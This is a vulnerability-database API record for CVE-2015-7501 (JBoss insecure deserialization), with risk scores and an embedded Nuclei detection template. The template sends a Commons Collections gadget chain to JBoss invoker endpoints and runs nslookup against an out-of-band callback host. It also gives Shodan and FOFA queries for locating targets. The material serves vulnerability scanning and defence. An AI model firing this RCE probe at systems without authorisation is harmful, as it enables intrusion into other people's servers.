{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2015-7501/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2015-7501/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2015-7501/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2015-7501/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2015-7501/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2015-7501"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2015-7501"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.85562,
      "kev": false,
      "percentile": 0.99712
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2015/CVE-2015-7501.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2015-7501\n\ninfo:\n  name: Red Hat JBoss - Insecure Deserialization\n  author: pdteam,DhiyaneshDk\n  severity: critical\n  description: |\n    Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.\n  impact: |\n    Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.\n  remediation: |\n    Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2015-7501\n    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/\n    - https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822\n    - https://github.com/ianxtianxt/CVE-2015-7501\n    - https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCE\n    - https://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2015-7501\n    cwe-id: CWE-502\n    epss-score: 0.85562\n    epss-percentile: 0.99712\n  metadata:\n    verified: true\n    max-request: 7\n    vendor: redhat\n    product: jboss_enterprise_application_platform\n    shodan-query: http.html:\"/jmx-console/\" http.title:JBoss\n    fofa-query: 'title=\"JBoss\" && body=\"/jmx-console/\"'\n  tags: cve2015,cve,jboss,rce,deserialization,java,vulhub,redhat,oast,intrusive,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/jmx-console/\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(tolower(body), \"jboss\", \"jmx agent\", \"jmx-console\", \"j_security_check\", \"jboss.system\", \"jboss.deployment\")'\n        internal: true\n\n  - raw:\n      - |\n        POST §endpoint§ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-java-serialized-object\n        Accept: application/x-java-serialized-object\n\n        {{generate_java_gadget(\"commons-collections3.1\", \"nslookup {{interactsh-url}}\", \"raw\")}}\n\n    attack: clusterbomb\n\n    payloads:\n      endpoint:\n        - /invoker/JMXInvokerServlet\n        - /invoker/EJBInvokerServlet\n        - /invoker/readonly\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: dsl\n        dsl:\n          - 'contains_any(tolower(body), \"classcastexception\",\"jboss\")'\n# digest: 4a0a0047304502206c2b730e740e10fbe8bb34089a3745102db0ea77ac100b16e9bd1f91a7097621022100c8629d8787c8059c65c06992ce5e2ab37d210ecdc9935958e2d4ff0eb5f1d422:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2015-7501"
}